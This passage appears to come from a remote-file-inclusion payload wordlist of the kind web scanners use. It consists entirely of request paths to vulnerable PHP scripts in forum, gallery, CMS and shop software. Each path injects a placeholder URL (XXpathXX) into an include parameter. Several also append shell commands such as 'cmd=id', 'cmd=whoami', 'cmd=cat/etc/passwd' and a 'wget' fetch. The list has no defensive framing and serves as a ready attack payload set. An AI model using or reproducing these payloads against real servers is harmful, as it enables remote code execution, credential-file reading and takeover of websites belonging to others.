X\n/components/com_calendar.php?absolute_path=XXpathXX?\n/components/com_cpg/cpg.php?mosConfig_absolute_path=XXpathXX?\n/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=XXpathXX\n/components/com_facileforms/facileforms.frame.php?ff_compath=XXpathXX\n/components/com_forum/download.php?phpbb_root_path=XXpathXX\n/components/com_galleria/galleria.html.php?mosConfig_absolute_path=XXpathXX\n/components/com_guestbook.php?absolute_path=XXpathXX?\n/components/com_hashcash/server.php?mosConfig_absolute_path=XXpathXX?\n/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=XXpathXX\n/components/com_jd-wiki/bin/dwpage.php?mosConfig_absolute_path=XXpathXX\n/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path=XXpathXX\n/components/com_joomlaboard/file_upload.php?sbp=XXpathXX?\n/components/com_koesubmit/koesubmit.php?mosConfig_absolute_path=XXpathXX?\n/components/com_lm/archive.php?mosConfig_absolute_path=XXpathXX?\n/components/com_mambowiki/MamboLogin.php?IP=XXpathXX?\n/components/com_minibb.php?absolute_path=XXpathXX\n/components/com_mosmedia/media.divs.php?mosConfig_absolute_path=XXpathXX\n/components/com_mosmedia/media.tab.php?mosConfig_absolute_path=XXpathXX\n/components/com_mospray/scripts/admin.php?basedir=XXpathXX?&cmd=id\n/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=XXpathXX\n/components/com_mp3_allopass/allopass.php?mosConfig_live_site=XXpathXX\n/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=XXpathXX?\n/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=XXpathXX?\n/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=XXpathXX\n/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=XXpathXX\n/components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=XXpathXX\n/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=XXpathXX\n/components/com_rsgallery2/rsgallery.html.php?mosConfig_absolute_path=XXpathXX\n/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=XXpathXX?\n/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=XXpathXX\n/components/com_smf/smf.php?mosConfig_absolute_path=XXpathXX\n/components/com_thopper/inc/contact_type.php?mosConfig_absolute_path=XXpathXX\n/components/com_thopper/inc/itemstatus_type.php?mosConfig_absolute_path=XXpathXX\n/components/com_thopper/inc/projectstatus_type.php?mosConfig_absolute_path=XXpathXX\n/components/com_thopper/inc/request_type.php?mosConfig_absolute_path=XXpathXX\n/components/com_thopper/inc/responses_type.php?mosConfig_absolute_path=XXpathXX\n/components/com_thopper/inc/timelog_type.php?mosConfig_absolute_path=XXpathXX\n/components/com_thopper/inc/urgency_type.php?mosConfig_absolute_path=XXpathXX\n/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=XXpathXX\n/components/core/connect.php?language_path=XXpathXX\n/components/minibb/bb_plugins.php?absolute_path=XXpathXX?\n/components/minibb/index.php?absolute_path=XXpathXX?\n/components/xmlparser/loadparser.php?absoluteurl=XXpathXX\n/compteur/mapage.php?chemin=XXpathXX\n/conf.php?securelib=XXpathXX\n/conf.php?securelib=XXpathXX?\n/config.inc.php3?rel_path=XXpathXX\n/config.inc.php?_path=XXpathXX\n/config.inc.php?path_escape=XXpathXX\n/config.inc.php?path_escape=XXpathXX%00\n/config.php?full_path=XXpathXX?\n/config.php?full_path_to_db=XXpathXX\n/config.php?fullpath=XXpathXX\n/config.php?incpath=XXpathXX\n/config.php?path_to_root=XXpathXX\n/config.php?rel_path=XXpathXX?\n/config.php?returnpath=XXpathXX\n/config.php?sql_language=XXpathXX?\n/config.php?xcart_dir=XXpathXX?\n/config/config_admin.php?INC=XXpathXX?\n/config/config_main.php?INC=XXpathXX?\n/config/config_member.php?INC=XXpathXX?\n/config/dbutil.bck.php?confdir=XXpathXX\n/config/mysql_config.php?INC=XXpathXX?\n/config/sender.php?ROOT_PATH=XXpathXX?\n/configuration.php?absolute_path=XXpathXX?\n/confirmUnsubscription.php?output=XXpathXX\n/connect.php?path=XXpathXX\n/connexion.php?DOCUMENT_ROOT=XXpathXX?\n/contact.php?blog_theme=XXpathXX\n/contacts.php?cal_dir=XXpathXX\n/contenido/external/frontend/news.php?cfg[path][includes]=XXpathXX\n/content.php?content=XXpathXX\n/content/admin.php?pwfile=XXpathXX\n/content/content.php?fileloc=XXpathXX?\n/content/delete.php?pwfile=XXpathXX\n/content/modify.php?pwfile=XXpathXX\n/content/modify_go.php?pwfile=XXpathXX\n/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=XXpathXX\n/contrib/mx_glance_sdesc.php?mx_root_path=XXpathXX\n/contrib/phpBB2/modules.php?phpbb_root_path=XXpathXX?\n/controllers/MySQLController.php?baseDir=XXpathXX\n/controllers/SQLController.php?baseDir=XXpathXX\n/controllers/SetupController.php?baseDir=XXpathXX\n/controllers/VideoController.php?baseDir=XXpathXX\n/controllers/ViewController.php?baseDir=XXpathXX\n/convert-date.php?cal_dir=XXpathXX\n/convert/mvcw.php?step=1&vwar_root=XXpathXX\n/convert/mvcw.php?vwar_root=XXpathXX\n/core/admin/admin.php?p=admin&absoluteurlXXpathXX\n/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurlXXpathXX\n/core/admin/categories_add.php?absoluteurlXXpathXX\n/core/admin/categories_remove.php?absoluteurlXXpathXX\n/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurlXXpathXX\n/core/admin/editdel.php?p=admin&absoluteurlXXpathXX\n/core/admin/ftpfeature.php?p=admin&absoluteurlXXpathXX\n/core/admin/login.php?absoluteurlXXpathXX\n/core/admin/pgRSSnews.php?absoluteurlXXpathXX\n/core/admin/showcat.php?absoluteurlXXpathXX\n/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurlXXpathXX\n/core/archive_cat.php?absoluteurlXXpathXX\n/core/archive_nocat.php?absoluteurlXXpathXX\n/core/aural.php?site_absolute_path=XXpathXX\n/core/aural.php?site_absolute_path=XXpathXX?&cmd=dir\n/core/editor.php?editor_insert_bottom=XXpathXX\n/core/includes.php?CMS_ROOT=XXpathXX?\n/core/recent_list.php?absoluteurlXXpathXX\n/corpo.php?pagina=XXpathXX\n/cp2.php?securelib=XXpathXX?\n/cpe/index.php?repertoire_config=XXpathXX\n/crea.php?plancia=XXpathXX\n/creacms/_administration/edition_article/edition_article.php?cfg[document_uri]=XXpathXX?\n/creacms/_administration/fonctions/get_liste_langue.php?cfg[base_uri_admin]=XXpathXX?\n/creat_news_all.php?language=XXpathXX\n/create_file.php?target=XXpathXX?\n/cron.php?ROOT_PATH=XXpathXX\n/cron.php?include_path=XXpathXX?\n/crontab/run_billing.php?config[include_dir]=XXpathXX?\n/cross.php?url=XXpathXX\n/custom_vars.php?sys[path_addon]=XXpathXX\n/customer/product.php?xcart_dir=XXpathXX\n/cwb/comanda.php?INCLUDE_PATH=XXpathXX?\n/datei.php?config[root_ordner]=XXpathXX?&cmd=id\n/db/PollDB.php?CONFIG_DATAREADERWRITER=XXpathXX?\n/db/mysql/db.inc.php?SPL_CFG[dirroot]=XXpathXX?\n/dbcommon/include.php?_APP_RELATIVE_PATH=XXpathXX\n/dbmodules/DB_adodb.class.php?PHPOF_INCLUDE_PATH=XXpathXX\n/debugger.php?config_atkroot=XXpathXX\n/decoder/gallery.php?ccms_library_path=XXpathXX\n/decoder/markdown.php?ccms_library_path=XXpathXX\n/defaults_setup.php?ROOT_PATH=XXpathXX?cmd=ls\n/defines.php?WEBCHATPATH=XXpathXX?\n/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=XXpathXX&\n/depouilg.php3?NomVote=XXpathXX?\n/development.php?root_prefix=XXpathXX?\n/dfcode.php?DFORUM_PATH=XXpathXX?\n/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?set_depth=XXpathXX?\n/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?set_depth=XXpathXX?\n/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=XXpathXX\n/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=XXpathXX?\n/dialog.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/dialogs/a.php?spaw_dir=XXpathXX?&cmd=id\n/dialogs/collorpicker.php?spaw_dir=XXpathXX&cmd=id\n/dialogs/img.php?spaw_dir=XXpathXX?&cmd=id\n/dialogs/img_library.php?spaw_dir=XXpathXX?&cmd=id\n/dialogs/table.php?spaw_dir=XXpathXX?&cmd=id\n/dialogs/td.php?spaw_dir=XXpathXX?&cmd=id\n/digitaleye_Path/module.php?menu=XXpathXX?\n/dir/prepend.php?_PX_config[manager_path]=XXpathXX\n/dir_thatware/config.php?root_path=XXpathXX'\n/direct.php?rf=XXpathXX\n/direction/index.php?repertoire_config=XXpathXX\n/directory/index.php?path=XXpathXX\n/display.php?pag=XXpathXX\n/display.php?path=XXpathXX\n/displayCategory.php?basepath=XXpathXX\n/dix.php3?url_phpartenaire=XXpathXX\n/dm-albums/template/album.php?SECURITY_FILE=XXpathXX\n/doc/admin/index.php?ptinclude=XXpathXX\n/doceboCore/lib/lib.php?GLOBALS[where_framework]=XXpathXX\n/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=XXpathXX\n/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=XXpathXX\n/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=XXpathXX\n/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=XXpathXX\n/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=XXpathXX\n/docs/front-end-demo/cart2.php?workdir=XXpathXX?\n/dokeos/claroline/resourcelinker/resourcelinker.inc.php?clarolineRepositorySys=XXpathXX?&cmd=wget%20XXpathXX\n/dosearch.php?RESPATH=XXpathXX\n/download.php?root_prefix=XXpathXX?\n/download_engine_V1.4.3/addmember.php?eng_dir=XXpathXX\n/download_engine_V1.4.3/admin/enginelib/class.phpmailer.php?lang_pathr=XXpathXX\n/download_engine_V1.4.3/admin/includes/spaw/dialogs/colorpicker.php?spaw_root=XXpathXX\n/downstat1.8/chart.php?art=XXpathXX?\n/dp_logs.php?HomeDir=XXpathXX\n/eXPerience2/modules.php?file=XXpathXX\n/ea-gBook/index_inc.php?inc_ordner=XXpathXX?&act=cmd&cmd=whoami&d=/&submit=1&cmd_txt=1\n/edit.php?javascript_path=XXpathXX?\n/editor.php?newsfile=XXpathXX\n/editprofile.php?pathtohomedir=XXpathXX?\n/editsite.php?returnpath=XXpathXX\n/editx/add_address.php?include_dir=XXpathXX\n/elseif/contenus.php?contenus=XXpathXX\n/elseif/moduleajouter/articles/fonctions.php?tpelseifportalrepertoire=XXpathXX\n/elseif/moduleajouter/articles/usrarticles.php?corpsdesign=XXpathXX\n/elseif/moduleajouter/depot/fonctions.php?tpelseifportalrepertoire=XXpathXX\n/elseif/moduleajouter/depot/usrdepot.php?corpsdesign=XXpathXX\n/elseif/moduleajouter/depot/usrdepot.php?corpsdesignXXpathXX\n/elseif/utilisateurs/coeurusr.php?tpelseifportalrepertoire=XXpathXX\n/elseif/utilisateurs/commentaire.php?tpelseifportalrepertoire=XXpathXX\n/elseif/utilisateurs/enregistrement.php?tpelseifportalrepertoire=XXpathXX\n/elseif/utilisateurs/espaceperso.php?tpelseifportalrepertoire=XXpathXX\n/elseif/utilisateurs/votes.php?tpelseifportalrepertoire=XXpathXX\n/email_subscribe.php?root_prefix=XXpathXX?\n/embed/day.php?path=XXpathXX\n/enc/content.php?Home_Path=XXpathXX?\n/engine/Ajax/editnews.php?root_dir=XXpathXX\n/engine/api/api.class.php?dle_config_api=XXpathXX?\n/engine/engine.inc.php?absolute_path=XXpathXX\n/engine/init.php?root_dir=XXpathXX\n/engine/require.php?MY_ENV[BASE_ENGINE_LOC]=XXpathXX?\n/enth3/show_joined.php?path=XXpathXX\n/environment.php?DIR_PREFIX=XXpathXX\n/epal/index.php?view=XXpathXX?\n/errors.php?error=XXpathXX\n/errors/configmode.php?GALLERY_BASEDIR=XXpathXX\n/errors/needinit.php?GALLERY_BASEDIR=XXpathXX\n/errors/reconfigure.php?GALLERY_BASEDIR=XXpathXX\n/errors/unconfigured.php?GALLERY_BASEDIR=XXpathXX\n/es_custom_menu.php?files_dir=XXpathXX\n/es_desp.php?files_dir=XXpathXX\n/es_offer.php?files_dir=XXpathXX\n/eshow.php?Config_rootdir=XXpathXX\n/esupport/admin/autoclose.php?subd=XXpathXX?\n/eva/index.php3?aide=XXpathXX?\n/eva/index.php3?perso=XXpathXX\n/eva/index.php?eva[caminho]=XXpathXX\n/event.php?myevent_path=XXpathXX\n/event_cal/module/embed/day.php?path=XXpathXX\n/eventcal2.php.php?path_simpnews=XXpathXX\n/eventscroller.php?path_simpnews=XXpathXX\n/example-view/templates/article.php?globals[content_dir]=XXpathXX?\n/example-view/templates/dates_list.php?globals[content_dir]=XXpathXX?\n/example-view/templates/root.php?globals[content_dir]=XXpathXX?\n/example.php?site=XXpathXX\n/example/gamedemo/inc.functions.php?projectPath=XXpathXX?\n/examplefile.php?bibtexrootrel=XXpathXX?\n/examples/patExampleGen/bbcodeSource.php?example=XXpathXX\n/exception/include.php?_APP_RELATIVE_PATH=XXpathXX\n/extauth/drivers/ldap.inc.php?clarolineRepositorySys=XXpathXX\n/extras/mt.php?web_root=XXpathXX\n/extras/poll/poll.php?file_newsportal=XXpathXX\n/ezusermanager_pwd_forgott.php?ezUserManager_Path=XXpathXX\n/faq.php?module_root_path=XXpathXX\n/faq.php?phpbb_root_path=XXpathXX\n/fckeditor/editor/dialog/fck_link.php?dirroot=XXpathXX\n/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=XXpathXX\n/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?dirroot=XXpathXX?&cmd=id\n/fcring.php?s_fuss=XXpathXX\n/feed.php?config[root_ordner]=XXpathXX?&cmd=id\n/feed/index2.php?m=XXpathXX\n/files/amazon-bestsellers.php?CarpPath=XXpathXX\n/files/carprss.php?CarpPath=XXpathXX\n/files/compose-attach.php3?BSX_LIBDIR=XXpathXX\n/files/compose-menu.php3?BSX_LIBDIR=XXpathXX\n/files/compose-new.php3?BSX_LIBDIR=XXpathXX\n/files/compose-send.php3?BSX_LIBDIR=XXpathXX\n/files/folder-create.php3?BSX_LIBDIR=XXpathXX\n/files/folder-delete.php3?BSX_LIBDIR=XXpathXX\n/files/folder-empty.php3?BSX_LIBDIR=XXpathXX\n/files/folder-rename.php3?BSX_LIBDIR=XXpathXX\n/files/folders.php3?BSX_LIBDIR=XXpathXX\n/files/login.php3?err=hack&BSX_HTXDIR=XXpathXX\n/files/mainfile.php?page[path]=XXpathXX?&cmd=ls\n/files/mbox-list.php3?BSX_LIBDIR=XXpathXX\n/files/message-delete.php3?BSX_LIBDIR=XXpathXX\n/files/message-forward.php3?BSX_LIBDIR=XXpathXX\n/files/message-header.php3?BSX_LIBDIR=XXpathXX\n/files/message-print.php3?BSX_LIBDIR=XXpathXX\n/files/message-read.php3?BSX_LIBDIR=XXpathXX\n/files/message-reply.php3?BSX_LIBDIR=XXpathXX\n/files/message-replyall.php3?BSX_LIBDIR=XXpathXX\n/files/message-search.php3?BSX_LIBDIR=XXpathXX\n/findix/index.php?page=XXpathXX?&cmd=id\n/fishcart_v3/fc_functions/fc_example.php?docroot=XXpathXX\n/flushcmd/Include/editor/rich_files/class.rich.php?class_path=XXpathXX?\n/fonctions/template.php?repphp=XXpathXX?\n/fonctions_racine.php?chemin_lib=XXpathXX\n/footer.inc.php?settings[footer]=XXpathXX\n/footer.inc.php?tfooter=XXpathXX?\n/footer.php?footer_file=XXpathXX\n/footer.php?op[footer_body]=XXpathXX?\n/form.php?path=XXpathXX?&cmd=pwd\n/forum.php?cfg_file=1&fpath=XXpathXX?\n/forum/forum.php?view=XXpathXX\n/forum/forum82lib.php3?repertorylevel=XXpathXX?\n/forum/gesfil.php?repertorylevel=XXpathXX?\n/forum/lostpassword.php?repertorylevel=XXpathXX?\n/forum/mail.php?repertorylevel=XXpathXX?\n/forum/member.php?repertorylevel=XXpathXX?\n/forum/message.php?repertorylevel=XXpathXX?\n/forum/search.php?repertorylevel=XXpathXX?\n/forum/track.php?path=XXpathXX\n/frame.php?framefile=XXpathXX\n/ftp.php?path_local=XXpathXX\n/function.inc.php?path=XXpathXX\n/function.php?adminfolder=XXpathXX\n/function.php?gbpfad=XXpathXX\n/functions.php?include_path=XXpathXX\n/functions.php?pmp_rel_path=XXpathXX\n/functions.php?s[phppath]=XXpathXX\n/functions.php?set_path=XXpathXX?\n/functions/form.func.php?GLOBALS[PTH][classes]=XXpathXX?\n/functions/general.func.php?GLOBALS[PTH][classes]=XXpathXX?\n/functions/groups.func.php?GLOBALS[PTH][classes]=XXpathXX?\n/functions/js.func.php?GLOBALS[PTH][classes]=XXpathXX?\n/functions/prepend_adm.php?SETS[path][physical]=XXpathXX\n/functions/prepend_adm.php?SETS[path][physical]=XXpathXX?\n/functions/sections.func.php?GLOBALS[PTH][classes]=XXpathXX?\n/functions/users.func.php?GLOBALS[PTH][classes]=XXpathXX?\n/functions_mod_user.php?phpbb_root_path=XXpathXX?&cmd=ls\n/fusebox5.php?FUSEBOX_APPLICATION_PATH=XXpathXX\n/galerie.php?config[root_ordner]=XXpathXX?cmd=id\n/gallery/captionator.php?GALLERY_BASEDIR=XXpathXX\n/gallery/lib/content.php?include=XXpathXX?cmd=ls\n/gallery/theme/include_mode/template.php?galleryfilesdir=XXpathXX\n/gallerypath/index.php?includepath=XXpathXX\n/games.php?id=XXpathXX\n/games.php?scoreid=XXpathXX\n/gbook/includes/header.php?abspath=XXpathXX?\n/gemini/page/forums/bottom.php?lang=XXpathXX?\n/gen_m3u.php?phpbb_root_path=XXpathXX\n/genepi.php?topdir=XXpathXX\n/generate.php?ht_pfad=XXpathXX?\n/gepi/gestion/savebackup.php?filename=XXpathXX&cmd=cat/etc/passwd\n/gestArt/aide.php3?aide=XXpathXX?\n/get_session_vars.php?path_to_smf=XXpathXX\n/getpage.php?page=online&doc_path=XXpathXX\n/global.php?abs_path=XXpathXX?\n/gorum/dbproperty.php?appDirName=XXpathXX\n/gpb/include/db.mysql.inc.php?root_path=XXpathXX?\n/gpb/include/gpb.inc.php?root_path=XXpathXX?\n/graph.php?DOCUMENT_ROOT=XXpathXX?\n/gruppen.php?config[root_ordner]=XXpathXX?&cmd=id\n/handlers/email/mod.listmail.php?_PM_[path][handle]=XXpathXX\n/handlers/page/show.php?sous_rep=XXpathXX\n/head.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/header.inc.php?CssFile=XXpathXX\n/header.php?path=XXpathXX\n/header.php?wwwRoot=XXpathXX\n/help.php?CONFIG[MWCHAT_Libs]=XXpathXX?\n/help/index.php?show=XXpathXX\n/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=XXpathXX\n/helperfunction.php?includedir=XXpathXX\n/hioxBannerRotate.php?hm=XXpathXX\n/hioxRandomAd.php?hm=XXpathXX\n/hioxstats.php?hm=XXpathXX\n/hioxupdate.php?hm=XXpathXX\n/home.php?a=XXpathXX\n/home.php?page=XXpathXX\n/home.php?pagina=XXpathXX\n/home/www/images/doc/index2.php?type=XXpathXX\n/home1.php?ln=XXpathXX\n/home2.php?ln=XXpathXX\n/hsList.php?subdir=XXpathXX?&cmd=ls\n/htdocs/gmapfactory/params.php?gszAppPath=XXpathXX\n/html/admin/modules/plugin_admin.php?_settings[pluginpath]=XXpathXX\n/hu/modules/reg-new/modstart.php?mod_dir=XXpathXX?\n/i_head.php?home=XXpathXX\n/i_nav.php?home=XXpathXX\n/iframe.php?file=XXpathXX\n/image.php?url=XXpathXX???\n/impex/ImpExData.php?systempath=XXpathXX\n/import.php?bibtexrootrel=XXpathXX?\n/importinfo.php?bibtexrootrel=XXpathXX?\n/in.php?returnpath=XXpathXX\n/inc/articles.inc.php?GLOBALS[CHEMINMODULES]=XXpathXX\n/inc/config.inc.php?x[1]=XXpathXX\n/inc/design.inc.php?dir[data]=XXpathXX\n/inc/download_center_lite.inc.php?script_root=XXpathXX\n/inc/formmail.inc.php?script_root=XXpathXX\n/inc/gabarits.php?cfg_racine=XXpathXX\n/inc/header.inc.php?ficStyle=XXpathXX\n/inc/ifunctions.php?GLOBALS[phpQRootDir]=XXpathXX\n/inc/inc.php?cfg_racine=XXpathXX?\n/inc/indexhead.php?fileloc=XXpathXX?\n/inc/irayofuncs.php?irayodirhack=XXpathXX?\n/inc/libs/Smarty_Compiler.class.php?plugin_file=XXpathXX?\n/inc/libs/core/core.display_debug_console.php?plugin_file=XXpathXX?\n/inc/libs/core/core.load_plugins.php?plugin_file=XXpathXX?\n/inc/libs/core/core.load_resource_plugin.php?plugin_file=XXpathXX?\n/inc/libs/core/core.process_cached_inserts.php?plugin_file=XXpathXX?\n/inc/libs/core/core.process_compiled_include.php?plugin_file=XXpathXX?\n/inc/libs/core/core.read_cache_file.php?plugin_file=XXpathXX?\n/inc/linkbar.php?cfile=XXpathXX?\n/inc/login.php?pathCGX=XXpathXX\n/inc/logingecon.php?pathCGX=XXpathXX\n/inc/ltdialogo.php?pathCGX=XXpathXX\n/inc/mtdialogo.php?pathCGX=XXpathXX\n/inc/nuke_include.php?newsSync_enable_phpnuke_mod=1&newsSync_NUKE_PATH=XXpathXX?\n/inc/prepend.inc.php?path=XXpathXX?\n/inc/service.alert.inc.php?SPL_CFG[dirroot]=XXpathXX?\n/inc/settings.php?inc_dir=XXpathXX\n/inc/settings.ses.php?SPL_CFG[dirroot]=XXpathXX?\n/inc/shows.inc.php?cutepath=XXpathXX?\n/inc/sige_init.php?SYS_PATH=XXpathXX?\n/inc_group.php?include_path=XXpathXX?\n/inc_manager.php?include_path=XXpathXX?\n/inc_newgroup.php.php?include_path=XXpathXX?\n/inc_smb_conf.php?include_path=XXpathXX?\n/inc_user.php?include_path=XXpathXX?\n/include.php?_APP_RELATIVE_PATH=XXpathXX\n/include.php?gorumDir=XXpathXX\n/include.php?myng_root=XXpathXX\n/include.php?path=psp/user.php&site=XXpathXX\n/include.php?path[docroot]=XXpathXX\n/include.php?sunPath=XXpathXX\n/include/Beautifier/Core.php?BEAUT_PATH=XXpathXX\n/include/HTML_oben.php?include_path=XXpathXX\n/include/HTML_oben.php?include_path=XXpathXX?\n/include/SQuery/gameSpy2.php?libpath=XXpathXX\n/include/bbs.lib.inc.php?site_path=XXpathXX\n/include/class_yapbbcooker.php?cfgIncludeDirectory=XXpathXX\n/include/classes.php?INCLUDE_DIR=XXpathXX?\n/include/client.php?INCLUDE_DIR=XXpathXX?\n/include/cls_headline_prod.php?INCLUDE_PATH=XXpathXX\n/include/cls_listorders.php?INCLUDE_PATH=XXpathXX\n/include/cls_viewpastorders.php?INCLUDE_PATH=XXpathXX\n/include/common.php?XOOPS_ROOT_PATH=XXpathXX\n/include/common_functions.php?baros_path=XXpathXX?\n/include/config.inc.php?racine=XXpathXX\n/include/copyright.php?tsep_config[absPath]=XXpathXX?cmd=ls\n/include/customize.php?l=XXpathXX&text=Hello%20World\n/include/default_header.php?script_path=XXpathXX\n/include/define.php?INC_DIR=XXpathXX?\n/include/disp_form.php3?cfg_include_dir=XXpathXX?\n/include/disp_smileys.php3?cfg_include_dir=XXpathXX?\n/include/dom.php?path=XXpathXX\n/include/dtd.php?path=XXpathXX\n/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=XXpathXX?\n/include/engine/content/elements/menu.php?CONFIG[AdminPath]=XXpathXX\n/include/forms.php?INCLUDE_DIR=XXpathXX?\n/include/global.php?pfad=XXpathXX\n/include/header.php?cs_base_path=XXpathXX?\n/include/html/nettools.popup.php?DIR=XXpathXX\n/include/inc.foot.php?root=XXpathXX\n/include/inc_ext/spaw/dialogs/table.php?spaw_root=XXpathXX\n/include/inc_freigabe.php?include_path=XXpathXX?\n/include/inc_freigabe1.php?include_path=XXpathXX?\n/include/inc_freigabe3.php?include_path=XXpathXX?\n/include/include_stream.inc.php?include_path=XXpathXX\n/include/include_top.php?g_include=XXpathXX\n/include/includes.php?include_path=XXpathXX\n/include/index.php3?cfg_include_dir=XXpathXX?\n/include/init.inc.php?G_PATH=XXpathXX\n/include/issue_edit.php?INCLUDE_DIR=XXpathXX?\n/include/lib/lib_slots.php?main_path=XXpathXX\n/include/lib/lib_stats.php?main_path=XXpathXX?\n/include/lib/lib_users.php?main_path=XXpathXX?\n/include/little_news.php3?cfg_include_dir=XXpathXX?\n/include/livre_include.php?no_connect=lol&chem_absolu=XXpathXX?\n/include/loading.php?path_include=XXpathXX\n/include/mail.inc.php?root=XXpathXX\n/include/menu_builder.php?config[page_dir]=XXpathXX?\n/include/misc/mod_2checkout/2checkout_return.inc.php?DIR=XXpathXX\n/include/monitoring/engine/MakeXML.php?fileOreonConf=XXpathXX?\n/include/parser.php?path=XXpathXX\n/include/pear/IT.php?basepath=XXpathXX?\n/include/pear/ITX.php?basepath=XXpathXX?\n/include/pear/IT_Error.php?basepath=XXpathXX?\n/include/phpxd/phpXD.php?appconf[rootpath]=XXpathXX?&cmd=id\n/include/prodler.class.php?sPath=XXpathXX???\n/include/scripts/export_batch.inc.php?DIR=XXpathXX\n/include/scripts/run_auto_suspend.cron.php?DIR=XXpathXX\n/include/scripts/send_email_cache.php?DIR=XXpathXX\n/include/startup.inc.php?root_path=XXpathXX?\n/include/themes/themefunc.php?myNewsConf[path][sys][index]=XXpathXX?\n/include/timesheet.php?config[include_dir]=XXpathXX\n/include/urights.php?CRM_inc=XXpathXX\n/includes/admin_board2.php?phpbb_root_path=XXpathXX?ls\n/includes/admin_logger.php?phpbb_root_path=XXpathXX?ls\n/includes/adodb/back/adodb-postgres7.inc.php?ADODB_DIR=XXpathXX?\n/includes/ajax_listado.php?urlModulo=XXpathXX\n/includes/archive/archive_topic.php?phpbb_root_path=XXpathXX?\n/includes/bbcb_mg.php?phpbb_root_path=XXpathXX?\n/includes/begin.inc.php?PagePrefix=XXpathXX\n/includes/blogger.php?path_prefix=XXpathXX\n/includes/class/class_tpl.php?cache_file=XXpathXX?\n/includes/class_template.php?quezza_root_path=XXpathXX\n/includes/classes/pctemplate.php?pcConfig[smartyPath]=XXpathXX?cmd\n/includes/common.inc.php?CONFIG[BASE_PATH]=XXpathXX\n/includes/common.php?module_root_path=XXpathXX?\n/includes/common.php?root=XXpathXX?\n/includes/common.php?root_path=XXpathXX?\n/includes/config.inc.php?racineTBS=XXpathXX\n/includes/config/master.inc.php?fm_data[root]=XXpathXX?\n/includes/connection.inc.php?PagePrefix=XXpathXX\n/includes/dbal.php?eqdkp_root_path=XXpathXX\n/includes/events.inc.php?PagePrefix=XXpathXX\n/includes/footer.html.inc.php?tc_config[app_root]=XXpathXX?\n/includes/footer.inc.php?PagePrefix=XXpathXX\n/includes/footer.php?PHPGREETZ_INCLUDE_DIR=XXpathXX\n/includes/functions.inc.php?sitepath=XXpathXX?\n/includes/functions.php?location=XXpathXX\n/includes/functions.php?phpbb_root_path=XXpathXX\n/includes/functions.php?phpbb_root_path=XXpathXX?\n/includes/functions/auto_email_notify.php?path_prefix=XXpathXX\n/includes/functions/html_generate.php?path_prefix=XXpathXX\n/includes/functions/master.inc.php?fm_data[root]=XXpathXX?\n/includes/functions/validations.php?path_prefix=XXpathXX\n/includes/functions_admin.php?phpbb_root_path=XXpathXX?\n/includes/functions_install.php?vwar_root=XXpathXX\n/includes/functions_kb.php?phpbb_root_path=XXpathXX?\n/includes/functions_mod_user.php?phpbb_root_path=XXpathXX?\n/includes/functions_portal.php?phpbb_root_path=XXpathXX?\n/includes/functions_user_viewed_posts.php?phpbb_root_path=XXpathXX?\n/includes/global.php?nbs=XXpathXX?\n/includes/header.inc.php?PagePrefix=XXpathXX\n/includes/header.inc.php?dateiPfad=XXpathXX\n/includes/include_once.php?include_file=XXpathXX\n/includes/init.php?includepath=XXpathXX?\n/includes/iplogger.php?phpbb_root_path=XXpathXX?ls\n/includes/kb_constants.php?module_root_path=XXpathXX\n/includes/lang/language.php?path_to_root=XXpathXX\n/includes/lib-account.inc.php?CONF_CONFIG_PATH=XXpathXX?\n/includes/lib-group.inc.php?CONF_CONFIG_PATH=XXpathXX?\n/includes/lib-log.inc.php?CONF_CONFIG_PATH=XXpathXX?\n/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=XXpathXX?\n/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=XXpathXX?\n/includes/lib-themes.inc.php?CONF_CONFIG_PATH=XXpathXX?\n/includes/logger_engine.php?phpbb_root_path=XXpathXX\n/includes/menuleft.inc.php?PagePrefix=XXpathXX\n/includes/mkb.php?phpbb_root_path=XXpathXX?ls\n/includes/morcegoCMS/adodb/adodb.inc.php?path=XXpathXX\n/includes/morcegoCMS/morcegoCMS.php?fichero=XXpathXX\n/includes/mx_common.php?module_root_path=XXpathXX?\n/includes/openid/Auth/OpenID/BBStore.php?openid_root_path=XXpathXX\n/includes/orderSuccess.inc.php?&glob=1&cart_order_id=1&glob[rootDir]=XXpathXX\n/includes/pafiledb_constants.php?module_root_path=XXpathXX\n/includes/pages.inc.php?PagePrefix=XXpathXX\n/includes/phpdig/includes/config.php?relative_script_path=XXpathXX\n/includes/profilcp_constants.php?module_root_path=XXpathXX?\n/includes/settings.inc.php?approot=XXpathXX\n/includes/template.php?myevent_path=XXpathXX\n/includes/themen_portal_mitte.php?phpbb_root_path=XXpathXX\n/includes/tumbnail.php?config[root_ordner]=XXpathXX?\n/includes